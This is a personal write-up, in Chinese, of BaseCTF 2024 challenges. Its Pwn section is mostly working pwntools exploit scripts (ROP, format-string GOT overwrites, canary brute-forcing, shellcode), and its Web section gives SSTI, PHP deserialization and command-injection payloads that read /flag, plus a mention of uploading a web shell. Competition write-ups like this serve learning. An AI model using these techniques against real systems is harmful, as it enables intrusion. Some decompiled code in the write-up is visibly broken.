BaseCTF2024 个人WP

Pwn：

[Week1] 签个到吧：

直接nc，ls，cat flag

[Week1] echo：

只能使用echo命令

那就用echo *代替ls输出当前目录所有文件

用echo $(<flag)输出flag

[Week1] Ret2text：

简单的栈溢出

from pwn import*
p=process('./Ret2text')
p=remote('challenge.basectf.fun',33358)
backdoor=0x4011BB

payload=b'a'*0x28+p64(backdoor)
p.sendline(payload)
p.interactive()

[Week1] shellcode_level0：

简单的shellcode

from pwn import*
context(arch='amd64')
p=process('./shellcode')
p=remote('challenge.basectf.fun',28688)

shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

[Week1] 我把她丢了：

64位函数参数传递

from pwn import*
context(arch='amd64')
p=process('./her')
p=remote('challenge.basectf.fun',20629)
system=0x40120F
binsh=0x402008
pop_rdi=0x0000000000401196
ret=0x000000000040101a

payload=b'a'*0x78+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)
p.interactive()

[Week1] 彻底失去她：

from pwn import*
p=process('./her')
p=remote('challenge.basectf.fun',28858)
pop_rdi=0x0000000000401196
pop_rdx=0x0000000000401265
pop_rsi=0x00000000004011ad
sh=0x0000000000402065
ret=0x000000000040101a
system=0x401080
read_plt=0x401090
bss=0x4040A0
elf=ELF('./her')
main=elf.sym['main']

payload=b'a'*(0xa+8)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x100)+p64(read_plt)+p64(main)
p.sendline(payload)
sleep(0.2)
p.sendline(b'/bin/sh')
payload=b'a'*(0xa+8)+p64(ret)+p64(pop_rdi)+p64(bss)+p64(system)
p.sendline(payload)
p.interactive()

[Week2] format_string_level1：

感觉都很简单

from pwn import*
p=process('./format')
p=remote('challenge.basectf.fun',48639)
target=0x4040B0

payload=b'aaaa%7$n'+p64(target)
p.sendline(payload)
p.interactive()

[Week2] 她与你皆失：

from pwn import*
p=process('./her')
p=remote('challenge.basectf.fun',36442)
pop_rdi=0x0000000000401176
pop_rsi=0x0000000000401178
pop_rdx=0x0000000000401221
ret=0x000000000040101a
puts_plt=0x401060
puts_got=0x404018
main=0x4011DF


payload=b'a'*(0xa+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=puts_addr-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
payload=b'a'*(0xa+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)
p.interactive()

[Week2] format_string_level0：

from pwn import*
p=process('./format')
p=remote('challenge.basectf.fun',22035)

payload=b'%8$s'
p.sendline(payload)
p.interactive()
#10

[Week2] shellcode_level1：

from pwn import*
context(arch='amd64')
p=process('./shellcode')
p=remote('challenge.basectf.fun',47154)

def gdbs():
    gdb.attach(p)
    pause()

shellcode='''
syscall
'''
shellcode=asm(shellcode)
print(len(shellcode))
#gdbs()
p.send(shellcode)
shellcode=b'\x00'*2+asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

[Week3] 你为什么不让我溢出：

from pwn import*
p=process('./overpwn')
p=remote('challenge.basectf.fun',33358)
backdoor=0x4011BE

payload=b'a'*0x68
p.sendlineafter(b'Hello Hacker!',payload)
p.recvline()
p.recvline()
canary=u64(b'\x00'+p.recv(7))
print(hex(canary))
payload=b'a'*(0x70-0x8)+p64(canary)+b'a'*0x8+p64(backdoor)
p.sendline(payload)
p.interactive()

[Week3] format_string_level2：

from pwn import*
p=process('./format')
p=remote('challenge.basectf.fun',35702)
elf=ELF('./format')
read_got=elf.got['read']
printf_got=elf.got['printf']

def gdbs():
    gdb.attach(p)
    pause()

payload=b'aaaa%7$s'+p64(read_got)
p.send(payload)
read_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(read_addr))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=read_addr-libc.sym['read']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
gadget=[0xebc81]
onegadget=libcbase+gadget[0]
payload=b'%'+str(system&0xff).encode()+b'c%10$hhn'+b'%'+str((system>>8&0xffff)-(system&0xff)).encode()+b'c%11$hn'
payload=payload.ljust(0x20,b'\x00')
payload+=p64(printf_got)+p64(printf_got+1)
p.sendline(payload)
p.interactive()
#6

[Week3] stack_in_stack：

from pwn import*
context(log_level='debug')
p=process('./stack')
p=remote('challenge.basectf.fun',38027)
elf=ELF('./stack')
leave_ret=0x00000000004012f2
secret=0x4011C6
main=0x401245
start=0x4010E0
ret=0x000000000040101a

def gdbs():
    gdb.attach(p)
    pause()

p.recvuntil(b'0x')
buf=int(b'0x'+p.recv(12),16)
payload=p64(secret)+p64(start)
payload=payload.ljust(0x30,b'\x90')
payload+=p64(buf-8)+p64(leave_ret)
p.send(payload)

p.recvuntil(b'You found the secret!')
puts_addr=int(p.recv(15),16)
print(hex(puts_addr))

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=puts_addr-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
pop_rdi=libcbase+0x000000000002a3e5
p.recvuntil(b'0x')
buf=int(b'0x'+p.recv(12),16)
print(hex(buf))
payload=p64(pop_rdi)+p64(binsh)+p64(system)
payload=payload.ljust(0x30,b'\x90')
payload+=p64(buf-8)+p64(leave_ret)
#gdbs()
p.send(payload)
p.interactive()

[Week3] PIE：

from pwn import*
p=process('./pie')
p=remote('challenge.basectf.fun',21887)

payload=b'a'*0x108+b'\x40\x5e'
p.send(payload)
libc_start_main=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-128
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
ret=libcbase+0x0000000000029139
pop_rdi=libcbase+0x000000000002a3e5
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
payload=b'a'*0x108+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.send(payload)
p.interactive()

[Week4] orz！：

from pwn import*
context(arch='amd64')
p=process('./orz')
p=remote('challenge.basectf.fun',46972)

def gdbs():
    gdb.attach(p)
    pause()

shellcode=shellcraft.openat(0,'/flag',0)
shellcode+=shellcraft.mmap(0x1000,0x100,1,1,'rax',0)
shellcode+=shellcraft.sendfile(1,3,0,0x100)
shellcode+=shellcraft.exit()
shellcode=asm(shellcode)
p.sendline(shellcode)
p.interactive()

[Week4] format_string_level3：

from pwn import*
p=process('./format')
p=remote('challenge.basectf.fun',23822)
elf=ELF('./format')
main=0x40121B
stack_fail=0x403320
puts_got=0x403318
read_got=0x403330
printf_got=0x403328

def gdbs():
    gdb.attach(p)
    pause()

payload=b'%'+str((main&0xff)).encode()+b'c%10$hhn'+b'%'+str((main>>8&0xffff)-(main&0xff)).encode()+b'c%11$hn'
payload=payload.ljust(0x20,b'\x00')
payload+=p64(stack_fail)+p64(stack_fail+1)
payload=payload.ljust(0x10f,b'a')
p.sendline(payload)
payload=b'aaaa%7$s'+p64(puts_got)
payload=payload.ljust(0x10f,b'a')
p.sendline(payload)
puts_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=puts_addr-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
payload=b'%'+str((system&0xff)).encode()+b'c%10$hhn'+b'%'+str((system>>8&0xffff)-(system&0xff)).encode()+b'c%11$hn'
payload=payload.ljust(0x20,b'\x00')
payload+=p64(printf_got)+p64(printf_got+1)
payload=payload.ljust(0x10f,b'a')
p.sendline(payload)
payload=b'/bin/sh'
p.sendline(payload)
p.interactive()
#6

[Week4] 没有 canary 我要死了!：

from pwn import*
from ctypes import*
context(log_level='debug')
p=process('./canary')
p=remote('challenge.basectf.fun',21074)

def gdbs():
    gdb.attach(p)
    pause()

dll=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
seed=time.time()
dll.srand(int(seed))
canary=b'\x00'

for k in range(7):
    for i in range(0,256):
        p.sendlineafter(b'BaseCTF',str(dll.rand()%50))
        payload=b'a'*0x68+canary+i.to_bytes(1,'little')
        p.sendafter(b'welcome',payload)
        p.recvline()
        datas=p.recvline()
        if b'***' in datas:
            continue
        else:
            canary+=i.to_bytes(1,'little')
            break
canary=u64(canary.ljust(8,b'\x00'))
print("canary= "+hex(canary))
#gdbs()
p.sendlineafter(b'BaseCTF',str(dll.rand()%50))
payload=b'a'*0x68+p64(canary)+b'a'*0x8+b'\xae\x12'
p.sendafter(b'welcome',payload)

p.interactive()

[Week4] ezstack：

from pwn import*
p=process('./ezstack')
p=remote('challenge.basectf.fun',34973)
pop_rdi=0x00000000004006f3
pop_rbx_rbp_r12_r13_r14_r15=0x4006ea
magic=0x400658
offset=-0x30880
setvbuf_got=0x601020
gets_plt=0x4004F0
setvbuf_plt=0x400500
bss=0x601080


payload=b'a'*0x10+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(offset&0xffffffffffffffff)+p64(setvbuf_got+0x3d)+p64(0)*4+p64(magic)
payload+=p64(pop_rdi)+p64(bss)+p64(gets_plt)
payload+=p64(pop_rdi)+p64(bss)+p64(setvbuf_plt)
p.sendline(payload)
p.sendline(b'/bin/sh')
p.interactive()

Web：

[Week1] A Dark Room:

直接看源代码，直接有flag

[Week1] HTTP 是什么呀：

这里要满足条件才能给flag，但是满足后直接在网页看不见

用bp

base64解码得flag

[Week1] 喵喵喵´•ﻌ•`：

[Week1] md5绕过欸：

若比较科学计数法绕过，强比较数组绕过

[Week1] upload:

传个一句话木马，用蚁剑连接就可以找到flag了

[Week1] Aura 酱的礼物：

payload：
pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@challenge.basectf.fun:32471/&gift=php://filter/read=convert.base64-encode/resource=flag.php

[Week2] 你听不到我的声音：

cmd=a=fl;b=ag;cp /$a$b /var/www/html/b.txt

[Week2] RCEisamazingwithspace：

空格过滤

cmd=tac${IFS}/flag

[Week2] ez_ser：

<?php
class re{
    public $chu0;
    public function __toString(){
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;
    }
}

class web {
    public $kw;
    public $dt;

    public function __wakeup() {
        echo "lalalla".$this->kw;
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {
        if($this->dusk != "gods"){
            echo "什么，你竟敢不认可?";
        }
        $this->over->getflag();
    }
}

class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");
    }
}

class Crypto {
    public function __wakeup() {
        echo "happy happy happy!";
    }

    public function getflag() {
        echo "you are over!";
    }
}
$p=new web();
$p->kw=new re();
$p->kw->chu0=new pwn();
$p->kw->chu0->dusk='gods';
$p->kw->chu0->over=new Misc();
echo urlencode(serialize($p));
?>

[Week2] 所以你说你懂 MD5?：

<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
    die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
    die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
    die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
    die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
    die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');

apple[]=1&banana[]=2&appple=QNKCDZO&bananana=QLTHNDT&apppple=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&banananana=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=86d03cc0087099a697857dc510525a1f

[Week2] 数学大师：

直接用WP给的脚本

import requests
import re

req = requests.session()
url = "http://challenge.basectf.fun:35473/"

answer = 0
while True:
    response = req.post(url , data={"answer": answer})
    print(response.text)
    if "BaseCTF" in response.text:
        print(response.text)
        break
    regex = r" (\d*?)(.)(\d*)\?"
    match = re.search(regex, response.text)
    if match.group(2) == "+":
        answer = int(match.group(1)) + int(match.group(3))
    elif match.group(2) == "-":
        answer = int(match.group(1)) - int(match.group(3))
    elif match.group(2) == "×":
        answer = int(match.group(1)) * int(match.group(3))
    elif match.group(2) == "÷":
        answer = int(match.group(1)) // int(match.group(3))

[Week3] ez_php_jail：

感觉WP讲得很好

当 php 版本⼩于 8 时，GET 请求的参数名含有 . ，会被转为 _ ，但是如果参数名中有 [ ，这

个 [ 会被直接转为 _ ，但是后⾯如果有 . ，这个 . 就不会被转为 _ 。

Jail[by.Happy=highlight_file(glob("/f*")[0]);

[Week3] 复读机：

SSTI模板注入，稍微记一下。

方法1：

#payload1:
BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% set cmd='cat '~chr(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}

#payload2:
% set cmd='cat '~'%c'%(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}

#payload3:
BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('cd $OLDPWD;cat flag')['rea''d']())%}

Reverse：

[Week1] You are good at IDA：

直接从IDA里面找flag的字符串

[Week1] UPX mini：

脱壳，然后base64解码

[Week1] ez_maze：

在shift+F12找到地图，走最短路径，把路径MD5编码

BaseCTF{131b7d6e60e8a34cb01801ae8de07efe}

[Week1] Ez Xor：

用动态调试找出result和key，根据异或规则，写出脚本解密

result=[  0x01, 0x09, 0x05, 0x25, 0x26, 0x2D, 0x0B, 0x1D, 0x24, 0x7A, 
  0x31, 0x20, 0x1E, 0x49, 0x3D, 0x67, 0x4D, 0x50, 0x08, 0x25, 
  0x2E, 0x6E, 0x05, 0x34, 0x22, 0x40, 0x3B, 0x25]

key=list("Xnp[kw^hzQeyTb|W\x7FcJ|fMye@vhC")

flag=''
for i in range(0,28):
    flag+=chr(result[i]^ord(key[27-i]))

print(flag)

[Week1] BasePlus：

先把密文异或0xe

然后base64换表，这里要注意，如果原始表是64位要补到65位

import base64
result='bxhtLgTgAy92bfH6jJAhKlcGSgNljmThKmPt0oJ/<'
biao=str.maketrans('/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=')
flag=base64.b64decode(result.translate(biao))
print(flag)

[Week2] UPX：

手脱upx壳然后base64换表

[Week2] 喝杯下午茶：

#include <stdio.h>
#include <string.h>
#include <emmintrin.h>
#include <stdint.h>

void decrypt(unsigned int *v, unsigned int *k) {
	unsigned int v0=v[0],v1=v[1];
	int delta=1131796;
	int sum=delta*32;
	unsigned int k0 = k[0],k1 = k[1],k2 = k[2],k3 = k[3];
	for (int i = 0; i < 32; i++) {
		v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
		v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
		sum -= delta;
	}
	v[0] = v0;
	v[1] = v1;
}

int main() {
	int Buf2[10]={0x94B1F1E7,0x21D5D352,0x5247793D,0x40D1C97,0xF36E7F74,0x9C53F70F,0x6AEACFD8,0x6F9F06F4,0xEAFD9E2E,0x32B655F7};
	unsigned int key[] = {0x11223344, 0x55667788, 0x99AABBCC, 0xDDEEFF11};
	
	char buf[50] = {0};
	memcpy(buf, Buf2, sizeof Buf2);
	
	for(int i=0;i<=8;i+=2)
	{
		decrypt((unsigned int *)&buf+i, key);
	}
	
	printf("%s", buf);
	
	return 0;
}

[Week2] Ezpy：

用pydumpck把exe转为pyc，补全魔术头。生成PY，key在输出的pyc文件里，也转成py

# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.10

import Key
import sys

def init_Sbox(seed):
    k_b = (lambda .0 = None: [ ord(seed[i % len(seed)]) for i in .0 ])(range(256))
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + k_b[i]) % 256
        s[i] = s[j]
        s[j] = s[i]
        return s


def KeyStream(text, Sbox):
    s = Sbox.copy()
    (i, j) = (0, 0)
    k = [
        0] * len(text)
    for r in range(len(text)):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        s[i] = s[j]
        s[j] = s[i]
        t = (s[i] + s[j]) % 256
        k[r] = s[t] ^ Key.keykey[r % len(Key.keykey)]
        return k


def Encrypt(text, seed):
    Sbox = init_Sbox(seed)
    key = KeyStream(text, Sbox)
    enc = (lambda .0 = None: [ text[i] ^ key[i] for i in .0 ])(range(len(text)))
    return bytes(enc)

enc = b'\xe6\xaeC~F\xf2\xe3\xbb\xac\x9a-\x02U\x85p\xeb\x19\xd1\xe4\xc93sG\xb0\xeb1\xb5\x05\x05\xc3\xd7\x00\x18+D\xbc\x0cO\x9em\xf1\xbd'
flag = input('Please input Your flag:')
flag = (lambda .0: [ ord(i) for i in .0 ])(flag)
flag = Encrypt(flag, Key.key)
if flag != enc:
    print("It's not flag!")
    continue
    print('You are right!')
    sys.exit(1)
    continue
    return None

解密

import sys

# 替换为实际的 Key 模块内容
class Key:
    key = 'yOU_f1nd_m3'  # 替换为实际的密钥
    keykey =[
    66,
    97,
    115,
    101]     # 替换为实际的密钥流

def init_Sbox(seed):
    k_b = [ord(seed[i % len(seed)]) for i in range(256)]
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + k_b[i]) % 256
        s[i], s[j] = s[j], s[i]  # Fixed swapping
    return s

def KeyStream(text, Sbox):
    s = Sbox.copy()
    i, j = 0, 0
    k = [0] * len(text)
    for r in range(len(text)):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        s[i], s[j] = s[j], s[i]  # Fixed swapping
        t = (s[i] + s[j]) % 256
        k[r] = s[t] ^ Key.keykey[r % len(Key.keykey)]
    return k

def Encrypt(text, seed):
    Sbox = init_Sbox(seed)
    key = KeyStream(text, Sbox)
    enc = [text[i] ^ key[i] for i in range(len(text))]
    return bytes(enc)

enc = b'\xe6\xaeC~F\xf2\xe3\xbb\xac\x9a-\x02U\x85p\xeb\x19\xd1\xe4\xc93sG\xb0\xeb1\xb5\x05\x05\xc3\xd7\x00\x18+D\xbc\x0cO\x9em\xf1\xbd'
flag = Encrypt(enc, Key.key)

print(flag)

[Week2] RivestCipher：

比较抽象，蒙出来的，RC4，找出密文和密钥解密就行。

[Week2] lk：

from z3 import*
k=[Int('k[%d]'%i)for i in range(21)]
s=Solver()
s.add(948 * k[20]
     + 887 * k[19]
     + 410 * k[18]
     + 978 * k[17]
     + 417 * k[16]
     + 908 * k[15]
     + 965 * k[14]
     + 987 * k[13]
     + 141 * k[12]
     + 257 * k[11]
     + 323 * k[10]
     + 931 * k[9]
     + 773 * k[8]
     + 851 * k[7]
     + 758 * k[6]
     + 891 * k[5]
     + 575 * k[4]
     + 616 * k[3]
     + 860 * k[2]
     + 283 * k[1] == 913686)
s.add(938 * k[20]
     + 490 * k[19]
     + 920 * k[18]
     + 50 * k[17]
     + 568 * k[16]
     + 68 * k[15]
     + 35 * k[14]
     + 708 * k[13]
     + 938 * k[12]
     + 718 * k[11]
     + 589 * k[10]
     + 954 * k[9]
     + 974 * k[8]
     + 62 * k[7]
     + 580 * k[6]
     + 80 * k[5]
     + 111 * k[4]
     + 151 * k[3]
     + 421 * k[2]
     + 148 * k[1] == 630335)
s.add(908 * k[20]
     + 590 * k[19]
     + 668 * k[18]
     + 222 * k[17]
     + 489 * k[16]
     + 335 * k[15]
     + 778 * k[14]
     + 622 * k[13]
     + 95 * k[12]
     + 920 * k[11]
     + 932 * k[10]
     + 892 * k[9]
     + 409 * k[8]
     + 392 * k[7]
     + 11 * k[6]
     + 113 * k[5]
     + 948 * k[4]
     + 674 * k[3]
     + 506 * k[2]
     + 182 * k[1] == 707525)
s.add(479 * k[20]
     + 859 * k[19]
     + 410 * k[18]
     + 399 * k[17]
     + 891 * k[16]
     + 266 * k[15]
     + 773 * k[14]
     + 624 * k[13]
     + 34 * k[12]
     + 479 * k[11]
     + 465 * k[10]
     + 728 * k[9]
     + 447 * k[8]
     + 427 * k[7]
     + 890 * k[6]
     + 570 * k[5]
     + 716 * k[4]
     + 180 * k[3]
     + 571 * k[2]
     + 707 * k[1] == 724203)
s.add(556 * k[20]
     + 798 * k[19]
     + 380 * k[18]
     + 716 * k[17]
     + 71 * k[16]
     + 901 * k[15]
     + 949 * k[14]
     + 304 * k[13]
     + 142 * k[12]
     + 679 * k[11]
     + 459 * k[10]
     + 814 * k[9]
     + 282 * k[8]
     + 49 * k[7]
     + 873 * k[6]
     + 169 * k[5]
     + 437 * k[4]
     + 199 * k[3]
     + 771 * k[2]
     + 807 * k[1] == 688899)
s.add(465 * k[20]
     + 898 * k[19]
     + 979 * k[18]
     + 198 * k[17]
     + 156 * k[16]
     + 831 * k[15]
     + 856 * k[14]
     + 322 * k[13]
     + 25 * k[12]
     + 35 * k[11]
     + 369 * k[10]
     + 917 * k[9]
     + 522 * k[8]
     + 654 * k[7]
     + 235 * k[6]
     + 385 * k[5]
     + 469 * k[4]
     + 231 * k[3]
     + 496 * k[2]
     + 83 * k[1] == 604784)
s.add(305 * k[20]
     + 928 * k[19]
     + 260 * k[18]
     + 793 * k[17]
     + 787 * k[16]
     + 708 * k[15]
     + 758 * k[14]
     + 236 * k[13]
     + 688 * k[12]
     + 747 * k[11]
     + 711 * k[10]
     + 195 * k[9]
     + 50 * k[8]
     + 648 * k[7]
     + 787 * k[6]
     + 376 * k[5]
     + 220 * k[4]
     + 33 * k[3]
     + 194 * k[2]
     + 585 * k[1] == 665485)
s.add(767 * k[20]
     + 573 * k[19]
     + 22 * k[18]
     + 909 * k[17]
     + 598 * k[16]
     + 588 * k[15]
     + 136 * k[14]
     + 848 * k[12]
     + 964 * k[11]
     + 311 * k[10]
     + 701 * k[9]
     + 653 * k[8]
     + 541 * k[7]
     + 443 * k[6]
     + 7 * k[5]
     + 976 * k[4]
     + 803 * k[3]
     + 273 * k[2]
     + 859 * k[1] == 727664)
s.add(776 * k[20]
     + 59 * k[19]
     + 507 * k[18]
     + 164 * k[17]
     + 397 * k[16]
     + 744 * k[15]
     + 377 * k[14]
     + 768 * k[13]
     + 456 * k[12]
     + 799 * k[11]
     + 9 * k[10]
     + 215 * k[9]
     + 365 * k[8]
     + 181 * k[7]
     + 634 * k[6]
     + 818 * k[5]
     + 81 * k[4]
     + 236 * k[3]
     + 883 * k[2]
     + 95 * k[1] == 572015)
s.add(873 * k[20]
     + 234 * k[19]
     + 381 * k[18]
     + 423 * k[17]
     + 960 * k[16]
     + 689 * k[15]
     + 617 * k[14]
     + 240 * k[13]
     + 933 * k[12]
     + 300 * k[11]
     + 998 * k[10]
     + 773 * k[9]
     + 484 * k[8]
     + 905 * k[7]
     + 806 * k[6]
     + 792 * k[5]
     + 606 * k[4]
     + 942 * k[3]
     + 422 * k[2]
     + 789 * k[1] == 875498)
s.add(766 * k[20]
     + 7 * k[19]
     + 283 * k[18]
     + 900 * k[17]
     + 211 * k[16]
     + 305 * k[15]
     + 343 * k[14]
     + 696 * k[13]
     + 590 * k[12]
     + 736 * k[11]
     + 817 * k[10]
     + 603 * k[9]
     + 414 * k[8]
     + 828 * k[7]
     + 114 * k[6]
     + 845 * k[5]
     + 175 * k[4]
     + 212 * k[3]
     + 898 * k[2]
     + 988 * k[1] == 714759)
s.add(220 * k[20]
     + 30 * k[19]
     + 788 * k[18]
     + 106 * k[17]
     + 574 * k[16]
     + 501 * k[15]
     + 366 * k[14]
     + 952 * k[13]
     + 121 * k[12]
     + 996 * k[11]
     + 735 * k[10]
     + 689 * k[9]
     + 998 * k[8]
     + 689 * k[7]
     + 729 * k[6]
     + 886 * k[5]
     + 860 * k[4]
     + 70 * k[3]
     + 466 * k[2]
     + 961 * k[1] == 778853)
s.add(313 * k[20]
     + 748 * k[19]
     + 522 * k[18]
     + 864 * k[17]
     + 156 * k[16]
     + 362 * k[15]
     + 283 * k[14]
     + 49 * k[13]
     + 316 * k[12]
     + 79 * k[11]
     + 136 * k[10]
     + 299 * k[9]
     + 271 * k[8]
     + 604 * k[7]
     + 907 * k[6]
     + 540 * k[5]
     + 141 * k[4]
     + 620 * k[3]
     + 701 * k[2]
     + 866 * k[1] == 584591)
s.add(922 * k[20]
     + 399 * k[19]
     + 425 * k[18]
     + 26 * k[17]
     + 159 * k[16]
     + 224 * k[15]
     + 438 * k[14]
     + 770 * k[13]
     + 144 * k[12]
     + 406 * k[11]
     + 110 * k[10]
     + 991 * k[9]
     + 749 * k[8]
     + 701 * k[7]
     + 646 * k[6]
     + 147 * k[5]
     + 979 * k[4]
     + 674 * k[3]
     + 999 * k[2]
     + 913 * k[1] == 717586)
s.add(13 * k[20]
     + 537 * k[19]
     + 225 * k[18]
     + 421 * k[17]
     + 153 * k[16]
     + 484 * k[15]
     + 654 * k[14]
     + 743 * k[13]
     + 779 * k[12]
     + 74 * k[11]
     + 325 * k[10]
     + 439 * k[9]
     + 797 * k[8]
     + 41 * k[7]
     + 784 * k[6]
     + 269 * k[5]
     + 454 * k[4]
     + 725 * k[2]
     + 164 * k[1] == 537823)
s.add(591 * k[20]
     + 210 * k[19]
     + 874 * k[18]
     + 204 * k[17]
     + 485 * k[16]
     + 42 * k[15]
     + 433 * k[14]
     + 176 * k[13]
     + 436 * k[12]
     + 634 * k[11]
     + 82 * k[10]
     + 978 * k[9]
     + 818 * k[8]
     + 683 * k[7]
     + 404 * k[6]
     + 562 * k[5]
     + 41 * k[4]
     + 789 * k[3]
     + 200 * k[2]
     + 220 * k[1] == 587367)
s.add(584 * k[20]
     + 597 * k[19]
     + 928 * k[18]
     + 532 * k[17]
     + 902 * k[16]
     + 858 * k[15]
     + 820 * k[14]
     + 240 * k[13]
     + 124 * k[12]
     + 899 * k[11]
     + 848 * k[10]
     + 822 * k[9]
     + 409 * k[8]
     + 491 * k[7]
     + 587 * k[6]
     + 715 * k[5]
     + 410 * k[4]
     + 268 * k[3]
     + 721 * k[2]
     + 915 * k[1] == 842245)
s.add(421 * k[20]
     + 302 * k[19]
     + 327 * k[18]
     + 180 * k[17]
     + 512*k[16]
     + 160 * k[15]
     + 623 * k[14]
     + 28 * k[13]
     + 411 * k[12]
     + 53 * k[11]
     + 633 * k[10]
     + 560 * k[9]
     + 623 * k[8]
     + 477 * k[7]
     + 901 * k[6]
     + 287 * k[5]
     + 149 * k[4]
     + 726 * k[3]
     + 934 * k[2]
     + 875 * k[1] == 610801)
s.add(838 * k[20]
     + 434 * k[19]
     + 792 * k[18]
     + 649 * k[17]
     + 462 * k[16]
     + 170 * k[15]
     + 980 * k[14]
     + 15 * k[13]
     + 295 * k[12]
     + 495 * k[11]
     + 666 * k[10]
     + 934 * k[9]
     + 17 * k[8]
     + 69 * k[7]
     + 367 * k[6]
     + 780 * k[5]
     + 291 * k[4]
     + 834 * k[3]
     + 587 * k[2]
     + 133 * k[1] == 653127)
s.add(41 * k[20]
     + 422 * k[19]
     + 420 * k[18]
     + 224 * k[17]
     + 475 * k[16]
     + 854 * k[15]
     + 233 * k[14]
     + 179 * k[13]
     + 620 * k[12]
     + 69 * k[11]
     + 42 * k[10]
     + 684 * k[9]
     + 300 * k[8]
     + 745 * k[7]
     + 894 * k[6]
     + 554 * k[5]
     + 495 * k[4]
     + 66 * k[3]
     + 316 * k[2]
     + 391 * k[1] == 533470)
if s.check()==sat:
    ans=s.model()
    for i in range(1,21):
        print(chr(ans[k[i]].as_long()),end='')

[Week2] 最简单的编码：

只能用脚本解，减去对应的key

table = "CDABGHEFKLIJOPMNSTQRWXUVabYZefcdijghmnklqropuvstyzwx23016745+/89"
enc = "TqK1YUSaQryEMHaLMnWhYU+Fe0WPenqhRXahfkV6WE2fa3iRW197Za62eEaD"
